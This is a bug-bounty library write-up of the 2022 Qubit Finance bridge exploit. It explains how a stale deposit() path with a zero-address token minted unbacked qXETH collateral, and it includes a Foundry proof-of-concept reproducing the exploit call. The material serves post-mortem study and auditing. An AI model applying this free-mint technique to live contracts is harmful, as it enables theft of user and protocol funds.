# Qubit Finance: zero-address safeTransferFrom mints unbacked qXETH collateral

Qubit's QBridgeHandler deposit called safeTransferFrom on tokenAddress 0x0, which silently succeeded, letting attacker mint 77k qXETH collateral on BSC and borrow ~$80M.

- Payout: Real-world hack
- Severity: critical
- Program: Qubit Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2022-01-28
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-01/Qubit_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220128-qubit
- Tags: area:web3 domain:web3 impact:data-leak impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** QBridge cross-chain deposit / QBridgeHandler on Ethereum
**Root cause:** Legacy deposit() path used tokenAddress (zero address for ETH after depositETH was added) and called tokenAddress.safeTransferFrom(), which does not revert on address(0), so no tokens were transferred yet the deposit was credited.
**Steps:**
1. Attacker calls `IQBridge(QBridge).deposit(1, resourceID, data)` on Ethereum mainnet with resourceID `0x00000000000000000000002f422fe9ea622049d6f73f81a906b9b8cff03b7f01`
2. data encodes option=0x69 and amount=0x...a4cc799563c380000 (~189 ETH) with depositer=attacker
3. QBridge forwards to `QBridgeHandler.deposit(resourceID, attacker, data)`
4. Handler resolves tokenAddress to address(0) for ETH and executes `tokenAddress.safeTransferFrom(depositer, address(this), amount)`, which does not revert on the zero address
5. Deposit completes without any ETH locked, crediting attacker's BSC address with 77,162 qXETH
6. Attacker uses qXETH as collateral on Qubit BSC to borrow WETH, BTC-B, stablecoins, CAKE, BUNNY, MDX, swaps all to ~200k BNB (~$80M)
**How found:** Post-mortem reasoning: depositETH was added later and replaced tokenAddress with address(0) for ETH, but the old deposit() remained callable; safeTransferFrom on address(0) does not revert, so the deposit path silently succeeded.
**Exploitation:** Attacker (funded via Tornado Cash) called the stale QBridge deposit() with a zero tokenAddress so safeTransferFrom no-op'd, minting unbacked qXETH on BSC; used it as collateral to borrow and swap multiple assets into ~200k BNB held in the BSC address.
**Escalation:** Unbacked cross-chain collateral scaled to full protocol liquidity drain across multiple borrowed assets swapped to BNB.
**Insight:** When a contract adds a new native-asset deposit path, check whether the legacy ERC20 deposit path is still reachable and whether its token address can resolve to address(0) — low-level calls and SafeERC20 on address(0) succeed silently, so a zero-address token is a free-mint primitive in bridge/collateral handlers.

## Proof of concept (copied exactly from the original report)

**Foundry exploit calling QBridge.deposit with zero-address token**

```
bytes32 resourceID = hex"00000000000000000000002f422fe9ea622049d6f73f81a906b9b8cff03b7f01";
        bytes memory data =
            hex"000000000000000000000000000000000000000000000000000000000000006900000000000000000000000000000000000000000000000a4cc799563c380000000000000000000000000000d01ae1a708614948b2b5e0b7ab5be6afa01325c7";
        uint256 option;
        uint256 amount;
        (option, amount) = abi.decode(data, (uint256, uint256));
        emit log_named_uint("option", option);
        emit log_named_uint("amount", amount);
        // which calls in turn:
        // IQBridgeHandler(QBridgeHandler).deposit(resourceID, attacker, data);
        emit log_named_address(
            "contractAddress", IQBridgeHandler(QBridgeHandler).resourceIDToTokenContractAddress(resourceID)
        );
        emit log_named_uint(
            "is 0 address whitelisted", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)) ? 1 : 0
        );

        IQBridge(QBridge).deposit(1, resourceID, data);
```

